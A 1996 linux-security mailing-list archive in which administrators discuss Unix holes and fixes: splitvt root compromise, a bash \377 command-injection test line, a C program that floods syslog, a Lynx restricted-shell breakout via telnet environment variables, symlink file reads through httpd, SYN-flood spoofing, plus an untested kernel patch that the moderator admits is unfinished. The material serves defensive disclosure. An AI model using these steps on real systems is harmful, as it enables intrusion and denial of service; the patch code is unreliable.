erase the current utmp entry, and replace it with entries for the two windows. This allows you to use programs such as 'talk' within the splitvt win- dows. If you do not have write permission to the /etc/utmp file, you will not be able to modify the utmp entries. As someone mentioned, we should be wary of all suid programs. This seems more so with packages like slackware where all sorts of programs can be installed without the users's immeadiate knowledge (I didn't know we had splitvt until I just now checked!). Does anyone have a list of suid programs that are installed in Redhat/Slackware? I may compile a list of ones I can find if noone has done so already. [REW: Adding write permission to /etc/utmp for everybody is a solution that Sun tried. It is not secure. Having programs like splitvt and xterm not beeing able to chown/chmod your pty's will not show in the form of "reduced functionality" but in the form of "extra security holes". In short you won't notice until someone expliots the new holes.] -Rob Hagopian From [email protected] Tue Aug 27 05:03:48 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26306; Tue, 27 Aug 1996 05:03:48 -0400 X-Authentication-Warning: michigan.com: davidzon owned process doing -bs Date: Mon, 26 Aug 1996 21:01:38 -0500 (CDT) From: "Vladislav S. Davidzon" X-Sender: [email protected] To: Stunt Pope cc: [email protected] Subject: Re: [linux-security] vulnerability in splitvt In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Download the new splitvt or chmod splitvt right... Look at the cert advisories for more info... They had an advisory on it... I had the old version which one of my users did look into :> On Sun, 25 Aug 1996, Stunt Pope wrote: [REW: Quoting trimmed] > Once this prog is compiled the exploit is simple as: > $ sl > $ sl > $ splitvt > # tada! From [email protected] Tue Aug 27 05:04:11 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26318; Tue, 27 Aug 1996 05:04:11 -0400 X-Authentication-Warning: michigan.com: davidzon owned process doing -bs Date: Mon, 26 Aug 1996 21:05:37 -0500 (CDT) From: "Vladislav S. Davidzon" X-Sender: [email protected] To: [email protected] cc: [email protected] Subject: [linux-security] RE: Little exploit in syslogd... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Here is something I found one of my users using... floods /var/log/messages.... /* blah.c - does neato thing */ #include #define blah "Blah blah blah..." void Puke() { char buffer[4096]; int i, a; for (i = 0; i<4000; i++) buffer[i] = 65; syslog(LOG_CRIT, buffer); for (a = 0; a<4000; a++) syslog(LOG_INFO, blah); } main() { goto puke; puke: Puke(); goto puke; } Pretty anoying little program... any ideas how to make it NOT work???? Make messages NOT floodable? Sincerely, V. Davidzon From [email protected] Tue Aug 27 05:04:25 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26338; Tue, 27 Aug 1996 05:04:25 -0400 Message-Id: <[email protected]> X-Authentication-Warning: aurora.cc.monash.edu.au: Host nate@localhost [127.0.0.1] didn't use HELO protocol To: Jonathan Larmour cc: [email protected] From: Nathan Bailey Reply-To: [email protected] Subject: Re: [linux-security] bash security hole In-reply-to: Message from [email protected] of 96-Aug-25 22:46:48, <1.5.4.16.19960825214648.274f5e60@gatekeeper> Date: Tue, 27 Aug 96 14:21:44 +1000 X-Mts: smtp Sender: [email protected] Precedence: list Jonathan Larmour wrote: >At 21:55 22/08/96 -0500, Runar Jensen wrote: >Just to clarify this, the way I found that I _was_ vulnerable, was with >this. NB copy the quoting exactly: > >bash -c "`/bin/echo 'ls -al\377who'`" > >However, note that the bit after the \377 is run the _next_ time you run the >command, so you need to run it _twice_. Hopefully this will help people who >incorrectly believe they are not vulnerable. I'm really not sure I understand what you mean by "running it twice", but to exploit the vulnerability on our systems you need to put in the preceeding 0, ie.: bash -c "`/bin/echo 'ls -al\0377who'`" You example above produces an error from ls for me, but the second case works fine. Nate From [email protected] Tue Aug 27 05:04:36 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26350; Tue, 27 Aug 1996 05:04:36 -0400 Date: Mon, 26 Aug 1996 08:32:44 -0700 (PDT) From: Andrew Sweger Reply-To: Andrew Sweger To: Todd W Burgess Cc: [email protected] Subject: Re: [linux-security] Saving Passwords in Binaries In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 21 Aug 1996, Todd W Burgess wrote: > I have been working on a program which will check for new mail on an > IMAP server... There's no need to verify if the user has entered the correct password to your new-mail-check program since the (possibly remote) IMAP server will check it anyway and reply appropriately. Check out: http://www.imap.org/ http://www.washington.edu/imap/ for more information. Look for information on setting up a pre-authenticated IMAP server in the UW source distribution. This has some security related side-effects, so read carefully. You will no doubt want a user configuration file to specify host and mailbox/folder information to check. Maybe. -- / Andrew B. Sweger [email protected] // Computer Support Manager [email protected] \\ Department of Family Medicine // University of Washington (206) 685-4337 / Box 355304 (206) 685-0610 (Fax) ---- Seattle, WA 98195-5304 -------------------------------------------------- The great thing about multitasking is that several things can go wrong at once. From [email protected] Tue Aug 27 05:05:03 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26365; Tue, 27 Aug 1996 05:05:03 -0400 From: Tommi Rintala Message-Id: <[email protected]> Subject: [linux-security] About suid etc. programs... To: [email protected] Date: Mon, 26 Aug 1996 16:36:56 +0300 (EET DST) X-Mailer: ELM [version 2.4ME+ PL11 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 946 Sender: [email protected] Precedence: list Hi! There have been a lot of discussion about suid programs and other programs, which cause vulnerabilities in Linux system. I have been looking for 'unsecure' programs, and found out that there are usually many programs in Linux systems which have 'wrong' rights. I wonder how many of the programs in /sbin and /usr/sbin are programs, which should be runable by ordinary users. sendmail is one (and it should also have suid), perhaps traceroute is nice thing if you wish to follow a connection paths (thing which should normally be done by admin). How about changing Linux default access rights to something more paranoid?? [REW: Yes, some people would like this. You already name two programs (sendmail, traceroute) that some people would like to keep from the "hands of the masses". Lots of setuid programs are like that. Some say only root should be able to execute them.... Although a "security question" while installing a system would be nice, this isn't implemented yet, so you will have to locally configure this the way you want it.] yours, tomppa2 -- -------------------------------------------------------------------------- Tommi Rintala Computer Center, University of Vaasa Finland e-mail: [email protected] http://www.uwasa.fi/~t2r -------------------------------------------------------------------------- From [email protected] Tue Aug 27 05:05:10 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26378; Tue, 27 Aug 1996 05:05:10 -0400 Date: Tue, 27 Aug 1996 00:53:10 -0400 (EDT) From: Net-Thing Security To: [email protected] Subject: [linux-security] Suid Programs / Help Wanted Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list With all the problems about Suid programs, I just -s all but 3 of them like sendmail none of my 300 users even noticed. So why does everyone else seem to need them Suid? If someone needs Suid programs how about some home made wrapper program or script that runs them in a secure manner? would that work? I have a question unrelated: Is there anyway to tell if a logged in user has a Euid=0 shell but everything else is the same as his normal login. If there is how about a daemon that checks users and freezes the login of any euiders=0 or ones that get to uid=0 shell and add their ip to hosts.deny. How about a automatic expert security program that keeps a watch over all logins. [REW: csh-variants detect this case, print "Permission denied." and exit. You could add this check to your /bin/sh. You have the source.] Another Question: Is there a bug in the slackware 1.2.13 login that can let an intruder get a root shell even with no valid login account? If so where is the fix located. Who keeps the FAQ for this list. [REW: Those bugs are rarely in "login". It is very unlikely that you have "Slackware 1.2.13". What slackware? Install the most recent net-kit anyway, this fixes around half a dozen holes.] Help Wanted: Wanted security consultant anyone reading this that knows all past and present Slackware bugs/holes and possibly Irix 5.3 exploits reply with hourly rate and experience. Thanks. Thanks for any info [email protected] Jeffrey M. Drum, Computer monitor electronics repair specialist. From [email protected] Tue Aug 27 05:05:19 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26391; Tue, 27 Aug 1996 05:05:19 -0400 Date: Mon, 26 Aug 1996 23:46:17 -0400 (EDT) From: Racer X Reply-To: [email protected] To: Brian Mitchell cc: [email protected] Subject: Re: [linux-security] inetd and denial-of-service In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Mon, 26 Aug 1996, Brian Mitchell wrote: > if it is not forged, it will not have the disired effect of locking the > victim up. You will get into a syn/syn|ack/rst flood, which when > completed will leave the victim perfectly normal. Not when I tried. All that happened was that I took up all the open connections on my machine as well as the attacked machine. > They would not use www.whitehouse.gov, because those syn packets would be > reset. I don't think you're right on this one, but if you are, it still doesn't explain why a randomly chosen source IP is a bad idea, which was what I was trying to clarify. > If they forge the ip of a host with reverse dns, but not up - what have > you done? Absolutely nothing. Sure you have. If they use that same IP over and over again, you can spot a potential SYN flood from that particular host and refuse to accept any more SYN's from that host. Contrary to what you may think, this can be done in user space with an ipfwadm-like tool; we just need the hooks in the kernel to allow policies to be changed on the fly. [REW: You can adjust ipfwadm rules on the fly. No need for extra hooks. The hard part is getting info about "ongoing syn floods" in an efficient manner. How about running tcpdump in non-promisc mode, filtering for syn-packets.] shag Judd Bourgeois | When we are planning for posterity, [email protected] | we ought to remember that virtue is Finger for PGP key | not hereditary. Thomas Paine From [email protected] Tue Aug 27 05:06:01 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26426; Tue, 27 Aug 1996 05:06:01 -0400 Date: Mon, 26 Aug 1996 09:36:14 -0400 (EDT) From: Roscinante To: Linux-security Subject: [linux-security] LYNX-DEV security problem with environment for lynx -restrictions=all (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list This came in today on the lynx-dev list, thought it would be of interest to linux security (not sure what OS this fellow is using, I sent a reply, and told him about the 'fixed' telnet) ---------- Forwarded message ---------- Date: Sun, 25 Aug 1996 23:21:03 EDT From: [email protected] Reply-To: [email protected] To: [email protected] Subject: LYNX-DEV security problem with environment for lynx -restrictions=all In using Lynx 2.5FM (22 August version) from a public-login account whose shell runs "lynx -restrictions=all", I've found it's possible to defeat some restrictions and obtain interactive access to /bin/sh by passing the environment variables WWW_HOME and LYNX_CFG via telnetd. The attack will work on more system types if it's possible to write to some filesystem that's mounted by the target machine. For example, % telnet telnet> env define WWW_HOME http://anyserver/anything.gif telnet> env define LYNX_CFG /afs/some.cell/users/myname/lynx.cfg telnet> open public-lynx-host -l lynx where /afs/some.cell/users/myname/lynx.cfg contains SUFFIX:.gif:image/gif VIEWER:image/gif:sh This gives me an sh shell on public-lynx-host with the uid of "lynx". On some system types, it may instead be possible to do telnet> env define LYNX_CFG /dev/stdin and type in the desired contents (e.g., the SUFFIX and VIEWER lines). I'd suggest adding support for "-restrictions=env" which would prevent lynx from modifying its behavior based on any call to getenv. Of course, a public-login account might be better configured to explicitly set WWW_HOME and LYNX_CFG (or use "-cfg=") before starting lynx, but I think the risk of setup mistakes would be reduced if ignoring the environment were supported within the lynx source code. Matt ~~ All that is gold does not glitter.. . Not all those who wander are lost..J.R.R.T. . /\ . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ._____// \\_____. And the knowledge that they fear . \\ Rush // . is a weapon to be held against them.. N.P. . \\ 2112 // . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ . // /\ \\ . Ghost in the Machine ([email protected]) I[[[[[[[[]]]]]]]]I Roscinante ([email protected]) http://www.globalent.net/users/fbn From [email protected] Tue Aug 27 05:06:44 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26446; Tue, 27 Aug 1996 05:06:44 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] RESOLV_HOST_CONF To: [email protected] (C. Hodges) Date: Mon, 26 Aug 1996 03:49:14 -0400 (EDT) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "C. Hodges" at Aug 25, 96 02:37:19 pm X-Mailer: ELM [version 2.4 PL22] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > >Real Patch isn't really available yet, from what i can see. You can modify > > *ahem* for the most part, yes it is... NetKit-B-0.08 has at least ping and > others (?) fixed, but for some strange reason, he didn't bother to fix > finger tho... :\ The bug's in the library. The setuid programs in the current netkit contain a *workaround*. These are not fixes. Fixes are in the works. Be sure to update your netkit, though, as it fixes related bugs in telnetd that have the possibility of being quite serious. [You can use finger to read any file that you can already read yourself... Every single network tool will exhibit this "problem".] > ftp.linux.org.co.uk:/pub/linux/Networking/base/NetKit-B-0.08.tar.gz ^^ just .org, not .co as well. And the official name is 'ftp.uk.linux.org' now anyway. > until a newer one comes out that patches finger, anyway... Don't hold your breath. :-) -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 From [email protected] Tue Aug 27 05:20:11 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26484; Tue, 27 Aug 1996 05:20:11 -0400 Message-Id: <[email protected]> X-Mailer: exmh version 1.6.7 5/3/96 To: Zoltan Hidvegi Cc: [email protected] Subject: [linux-security] sh != bash (was "bash security hole") In-reply-to: Your message of Mon, 26 Aug 1996 00:53:22 +0200. <[email protected]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 27 Aug 1996 02:43:18 -0500 From: "A. P. Harris" Sender: [email protected] Precedence: list [You (Zoltan Hidvegi)] > A sutable workaround [to the unsigned char problem in bash] > is to get zsh-3.0.0 and link /bin/sh to zsh. Pdksh is an other > alternative but it is less convinient for interactive use. This reminds me of an issue that always bugged me about Linux in particular. Why should I want a shell which is geared for interactive use to be running all my little shell scripts? Isn't that a massive waste of CPU, memory, security, and robustness? Isn't it better to have a different interactive shell (big and featureful) from your script-running shell? Assuming of course that they both emulate the Bourne shell syntax well, of course. I'm considering kiss, ash, and zsh for that part. Any pointers or gotchas from the list? .....A. P. [email protected]... From [email protected] Tue Aug 27 05:32:22 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA26516; Tue, 27 Aug 1996 05:32:22 -0400 Message-Id: <[email protected]> Subject: Re: [linux-security] BoS: Mycroftish description of bash hole. (fwd) To: [email protected] Date: Tue, 27 Aug 1996 11:18:43 +0200 (MET DST) From: [email protected] (Rogier Wolff) Content-Type: text Sender: [email protected] Precedence: list Mark Whitis wrote: >From [email protected] Tue Aug 27 11:14:16 1996 Date: Tue, 27 Aug 1996 05:02:38 -0400 (EDT) From: Mark Whitis To: Rogier Wolff cc: [email protected] Subject: Re: [linux-security] BoS: Mycroftish description of bash hole. (fwd) In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sat, 24 Aug 1996, Rogier Wolff wrote: > Mark Whitis wrote: > > > > On Thu, 22 Aug 1996, Paul D. Robertson wrote: > > > > > [REW: Huh? What fool runs his Httpd as "root"?] > > > > It is very common to run httpd as root. If httpd is not root, then > > everyone who has web pages has to make their home directory world > > executable/searchable (and possibly world readable as well) if they > > use the normal ~/public_html convention. A way around this is to > > create public_html directories for each user in a separate directory > > tree which you can then even chroot httpd to (of course, this would > > be more useful if chroot actually worked). > > > > I submitted patches to NCSA httpd a couple years ago to fix a problem with > > the symbolic link code which allowed anyone who had a shell account > > to read any file on the sytem as root (if httpd was root). I believe > > this was fixed in apache; although they didn't use my patch, since they > > completely rewrote the symbolic link code, I think they incorporated > > the same functionallity. The problem was that if you had symbolic > > links enabled (as opposed to allow_symlink_ifowner) than anyone > > with shell could create a symbolic link ("ln -s / ~/public_html/hole") which > > would allow any file on the system to be read as root. Unfortunately, > > on almost any system with a significant number of users, where > > user directories are typically on more than one disk and /home/username > > is a symbolic link to the actual location, you had to enable symbolic > > links for httpd to access public_html directories (whether httpd > > ran as root or not). The fix was to modify allow_symlink_ifowner > > to also allow symbolic links owned by root. > > > > --------------------------------------------------------------------------- > > --- Mark Whitis WWW: http://www.dbd.com/~whitis/ --- > > --- 428-B Moseley Drive; Charlottesville, VA 22903 804-962-4268 --- > > --------------------------------------------------------------------------- > > Then, in my eyes, you're one of those fools. Reread my message. This time while you are awake. Did I advocate ANYWHERE that users run httpd as root? I merely state that it is very common, that there are reasons to do so, and how to achieve the same results without running httpd as root. [REW: Ok Granted. I personally haven't seen all that many httpd's running as root. You seem to have seen lots of them. Maybe it is common, maybe my (or your) sample size is much too small to make accurate guesses?] > If a httpd is running as "root" it is asking for trouble. If a sendmail is running as "root" it is asking for trouble. If a ftpd is running as "root" it is asking for trouble. If a telnetd is running as "root" it is asking for trouble. httpd has not, so far, had a worse history than these programs as far as bugs are concerned (badly written cgi programs aside). Usually, however, there is not a compelling reason to run it as root provided you take various steps to allow the desired functionality. - Create a separate directory tree for public pages - inside a ftp directory tree has the advantage that you do not have to give users shell access for them to update web pages. i.e: - /ftp - ftpd's directory (chroot) - /ftp/$USER - users home directory - /ftp/$USER/public_html - html pages - /ftp/$USER/in.comming -> /ftp/anon/in.coming/$USER - /ftp/$USER/out.going -> /ftp/anon/out.going/$USER - /ftp/$USER/pub -> /ftp/anon/pub/$USER - /ftp/anon - root for anonymous ftp (chroot again) - /ftp/anon/in.coming/$USER - /ftp/anon/pub/$USER - /ftp/anon/out.going/$USER - Automatically create a symbolic link from ~/public_html to /ftp/users/$USER/, or wherever, - Run a separate httpd as a different non-priveledged user for cgi applications that need restricted access to data or use a read-only setgid cgi program (carefull!!!). Incidently, I advocated not running httpd as root years ago when most sites were running it as root. Is there actually any compelling reason to run sendmail as root? - Access to mailboxes? chgrp mail /var/spool/mail/* chmod g+rw /var/spool/mail/* chgrp/chmod files listed in /etc/aliases - Access to .forward files? chgrp mail /home/*/.forward - Access to mail queues chgrp mail /var/spool/mqueue - program mailers these do need an external program which is setuid root in order to chmod to the appropriate user. I haven't really thought it through but it seems that a slightly patched sendmail could be run as a semi-privaledged user/group instead of root if you were willing to do a little extra administrative work and deal with the hassle of .forward files needing to belong to a group the user is not a member of (i.e. you need a safe (symlink exploit proof) utility to set the permissions or initialize .forward to "\user" and don't let users delete them by symlinking them to a directory they don't have access to). > Having httpd run as some "nobody" will restrict damage to what normal > users on your system could already do. This closes "becoming root" holes > on your system, as well as interesting ways to penetrate your system. > > symbolic links are usually ALWAYS owned by root. The permission and Users also create their own symbolic links. Sometimes even within their public_html directories: ln -s home.html index.html ln -s newdirectory/newfile.html oldfile.html ln -s / security_hole They just shouldn't be able to do the last one. [REW: What I was saying is that even if a user actually creates a symlink, the symlink will still be owned by root (according to the system.....] Symbolic links which are owned by root on file systems that are not user mountable are generally safe. --------------------------------------------------------------------------- --- Mark Whitis WWW: http://www.dbd.com/~whitis/ --- --- 428-B Moseley Drive; Charlottesville, VA 22903 804-962-4268 --- --------------------------------------------------------------------------- linux-security/linux-security.960828100664 1767 1767 22376 6211033270 16657 0ustar majdommajdomFrom [email protected] Wed Aug 28 02:24:04 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id CAA00409; Wed, 28 Aug 1996 02:24:04 -0400 From: [email protected] Message-ID: <[email protected]> Subject: Re: [linux-security] RESOLV_HOST_CONF To: [email protected] (David Holland) Date: Tue, 27 Aug 1996 18:08:59 -0700 (PDT) Cc: [email protected] In-Reply-To: <[email protected]> from "David Holland" at Aug 26, 96 03:49:14 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list The RESOLV_HOST_CONF exploit fix: >From the `init_services()` function in inet/gethstnmad.c: This is where the RESOLV_HOST_CONF environment variable is passed. if(NULL==(hostconf=getenv(ENV_HOSTCONF))){ hostconf=_PATH_HOSTCONF; } All we need to add is some UID checking... /* If our UID is not equal to our EUID, do not pass the env */ if(!(hostconf=getenv(ENV_HOSTCONF))){ if((getuid()==geteuid()))hostconf=_PATH_HOSTCONF; } -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist From [email protected] Wed Aug 28 02:50:28 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id CAA00521; Wed, 28 Aug 1996 02:50:28 -0400 Message-Id: <[email protected]> From: CERT(sm) Coordination Center Date: Tue, 27 Aug 96 8:45:21 EDT Reply-To: [email protected] Subject: [linux-security] CERT#1157 Re: vulnerability in splitvt To: Stunt Pope Cc: [email protected], [email protected] Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Hello, Thanks for your message concerning a vulnerability in the 'splitvt' program: [REW: Quoting trimmed] We distributed a vendor-initiated bulletin on this topic in January of this year. It is available from ftp://info.cert.org/pub/cert_bulletins/VB-96.01.splitvt [REW: Quoting trimmed] Since it would appear that your system(s) has suffered a root compromise, we encourage you to recover from this break-in by taking the steps outlined in the appended checklist in accordance with your local policies and procedures. Furthermore, we encourage you to check all of your systems, not just those that you know or suspect to be compromised. [REW: Oops. It seems that the "splitvt" problem is already quite old, and thus shouldn't have made it to the list. Sorry for the slip. Subject closed OK?] From [email protected] Wed Aug 28 02:58:58 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id CAA00550; Wed, 28 Aug 1996 02:58:58 -0400 Date: Tue, 27 Aug 1996 12:51:33 +0100 (GMT+0100) From: Ivan Buttinoni Reply-To: Ivan Buttinoni To: [email protected] Subject: [linux-security] chroot (1) security hole In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Environment: Linux 2.0.13 libc.so.5 => libc.so.5.2.18 gcc version 2.7.2 Action: bash# cd / bash# chroot /restricted/area /bin/bash shell-init: could not get current directory: getwd: cannot access parent directories Problem: After 'Action', I'm not in "/restricted/area", I'm in the real "/"! [REW: Yes. The problem lies in the fact that the current working directory isn't changed by the chroot system call. Could someone check the chroot program's sources and report wether it does a chdir ("/"); after the chroot system call. Note that you DONT want someone being "root" in a restricted area. You can more or less always "break out of" a chrooted area if you are root in there. There are too many "exits" for root to fix them all. The point of a chrooted area is to prevent normal users from having access to the programs which form a security risk.] Ivan | Ivan Buttinoni - e-mail: [email protected] - Tel. + 39 - 338 - 6134099 | |Via G. Carducci, 17 Albino (BG) 24021 ITALY WWW: http://www.cibi.it/ | From [email protected] Wed Aug 28 04:23:20 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id EAA01489; Wed, 28 Aug 1996 04:23:20 -0400 From: [email protected] Message-ID: <[email protected]> Subject: Re: [linux-security] inetd and denial-of-service To: [email protected] Date: Tue, 27 Aug 1996 09:41:55 -0700 (PDT) Cc: [email protected], [email protected] In-Reply-To: from "Racer X" at Aug 26, 96 11:46:17 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Racer X's thoughts were: | > victim up. You will get into a syn/syn|ack/rst flood, which when | > completed will leave the victim perfectly normal. | | Not when I tried. All that happened was that I took up all the open | connections on my machine as well as the attacked machine. When the attacked TCP receives the SYN (which is *not* forged in this example) it sends out it's SYN/ACK as expected. Since the source IP address is valid and reachable, the SYN/ACK will make it's way to a host, on the source port that was in the TCP header of the original SYN packet. Since, either A) no process will be listen()ing on that port, or B) the SYN/ACK is *not* expected for whatever process is listen()ing, a RST packet will be elicted from this SYN/ACK and sent to the target host. The connection is torn down. No SYN flood. | > They would not use www.whitehouse.gov, because those syn packets would be | > reset. | | I don't think you're right on this one, but if you are, it still doesn't This is EXACTLY what will happen in the above scenario. | explain why a randomly chosen source IP is a bad idea, which was what I | was trying to clarify. Because you have NO way of verifying if a host is unreachable or not when you pick an IP address out of thin air. Just like when generate a large odd number. You cannot guarantee it's prime without testing it for primality... | > If they forge the ip of a host with reverse dns, but not up - what have | > you done? Absolutely nothing. | | Sure you have. If they use that same IP over and over again, you can | spot a potential SYN flood from that particular host and refuse to accept | any more SYN's from that host. Contrary to what you may think, this can | be done in user space with an ipfwadm-like tool; we just need the hooks | in the kernel to allow policies to be changed on the fly. This is why you will see many SYN floods with different source addresses in each wave of packets, or even better, in each packet. [REW: And using "random" IP addresses will "work". There are nowhere near 4G hosts on the internet, so choosing a random IP address is quite likely to give you one that isn't reachable. The occasional one that IS availble will trigger the first scenario.] -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist From [email protected] Wed Aug 28 08:08:23 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id IAA02015; Wed, 28 Aug 1996 08:08:23 -0400 Date: Wed, 28 Aug 1996 03:40:36 -0400 From: *Hobbit* Message-Id: <[email protected]> To: [email protected] Subject: [linux-security] nonroot sendmail Sender: [email protected] Precedence: list [REW: I doubt that you can configure sendmail to not need root. Suid-"mail" works just fine, if it's never going to deliver directly to files or scripts. Local mail-spool delivery can be handled by a suid-root mail.local. The "mail" uid owns the mail queue, but nothing else; it can't even write the aliases db. On a firewallish sort of machine sendmail will only forward in and out anyway, so it doesn't even need the local stuff. Telnet uses login to change the uid, so it needs the suid bit on login or it needs to be run as root itself. In most setups there's no need for login to be suid, and having it suid root should never be even slightly encouraged. It's called by quite the cadre of things already running as root, so yank them bits the vendors so kindly left on for you... [REW: Agreed. The case that the setuid bit is needed is when people at your site have the habbit of walking over to someone and "saying may I use your terminal?" Then you can save a few CPU cycles and keystrokes by typing login instead of first logging out..... Let's please close this subject. Not Linux-specific, and it's been going on too long already.] _H* linux-security/linux-security.960829100664 1767 1767 47255 6211416146 16672 0ustar majdommajdomFrom [email protected] Thu Aug 29 18:34:50 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id SAA19595; Thu, 29 Aug 1996 18:34:50 -0400 Date: Fri, 30 Aug 1996 02:13:46 +1000 (EST) From: Keith Owens To: [email protected] Subject: [linux-security] Re: RESOLV_HOST_CONF In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 27 Aug 1996, Keith Owens wrote: > How about the best of both worlds. kernel detects suid/sgid programs and, > instead of running them directly, starts a trusted wrapper program. [snip] > [REW: You don't need the kernel to detect this. [snip]] Need - no, prefer - yes. Renaming files and adding symlinks is all very well but it is a manual process and has to be redone whenever you upgrade. It also will not catch the malicious user who creates their own suid program through the backdoor you did not know about. Having the kernel detect suid/sgid and drive the security wrapper automatically is transparent, offers a single point of control and can lock out unexpected suid/sgid binaries (anything not permitted is forbidden). [REW: Agreed. Kernel patch included below. This patch compiles, but is NOT tested. It is against 2.0.15. I don't know an easy way to get back to the pathname from that part of the kernel, so the messages don't say much (could report dev/inode though). The userlevel program that opens all allowed suid binaries, does the ioctl and NEVER EXITS has not been written yet. The system "turns on automatically". Once you explicitly allow a suid program, all others automatically turn disabled. Anybody want to finish this up and submit it to Linus once 2.1 gets started? --- fs/ioctl.c.orig Fri Jul 5 17:45:33 1996 +++ fs/ioctl.c Thu Aug 29 23:55:56 1996 @@ -48,6 +48,15 @@ put_fs_long(filp->f_inode->i_size - filp->f_pos, (int *) arg); return 0; + case FIALLOWSUID: + { + struct suid_allow *tsa; + tsa = kmalloc (sizeof (struct suid_allow)); + if (!tsa) return -ENOMEM; + tsa->next = first_sa; + tsa->inode = filp->f_inode; + return 0; + } } if (filp->f_op && filp->f_op->ioctl) return filp->f_op->ioctl(filp->f_inode, filp, cmd, arg); --- fs/exec.c.orig Thu Aug 29 23:34:51 1996 +++ fs/exec.c Fri Aug 30 00:14:28 1996 @@ -51,6 +51,9 @@ asmlinkage int sys_exit(int exit_code); asmlinkage int sys_brk(unsigned long); +struct suid_allow *first_sa; + + /* * Here are the actual binaries that will be accepted: * add more with "register_binfmt()" if using modules... @@ -520,6 +523,16 @@ || (current->files->count > 1)) { if (!suser()) return -EPERM; + } + if (first_sa) { + struct suid_allow *sa; + for (sa = first_sa;sa != NULL;sa = sa->next) + if (sa->inode == bprm->inode) break; + if (!sa) { + printk ("Refusing setuid for uid %d.\n",current->uid); + return -EPERM; + } + printk ("Approving setuid exec for uid %d.\n",current->uid); } } --- include/linux/fs.h.orig Thu Aug 29 17:14:29 1996 +++ include/linux/fs.h Fri Aug 30 00:15:31 1996 @@ -116,8 +116,16 @@ #define BMAP_IOCTL 1 /* obsolete - kept for compatibility */ #define FIBMAP _IO(0x00,1) /* bmap access */ #define FIGETBSZ _IO(0x00,2) /* get the block size used for bmap */ +#define FIALLOWSUID _IO(0x00,3) /* Allow SUID on this file */ #ifdef __KERNEL__ + +struct suid_allow { +struct suid_allow *next; +struct inode *inode; +}; + +extern struct suid_allow *first_sa; #include -- End of Moderator comment.] From [email protected] Thu Aug 29 18:34:58 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id SAA19609; Thu, 29 Aug 1996 18:34:58 -0400 From: Zoltan Hidvegi Message-Id: <[email protected]> Subject: Re: [linux-security] Suid Programs / Help Wanted To: [email protected] (Net-Thing Security) Date: Thu, 29 Aug 1996 16:56:53 +0200 (MET DST) Cc: [email protected] In-Reply-To: from Net-Thing Security at "Aug 27, 96 00:53:10 am" Organization: Dept. of Comp. Sci., Eotvos University, Budapest, Hungary 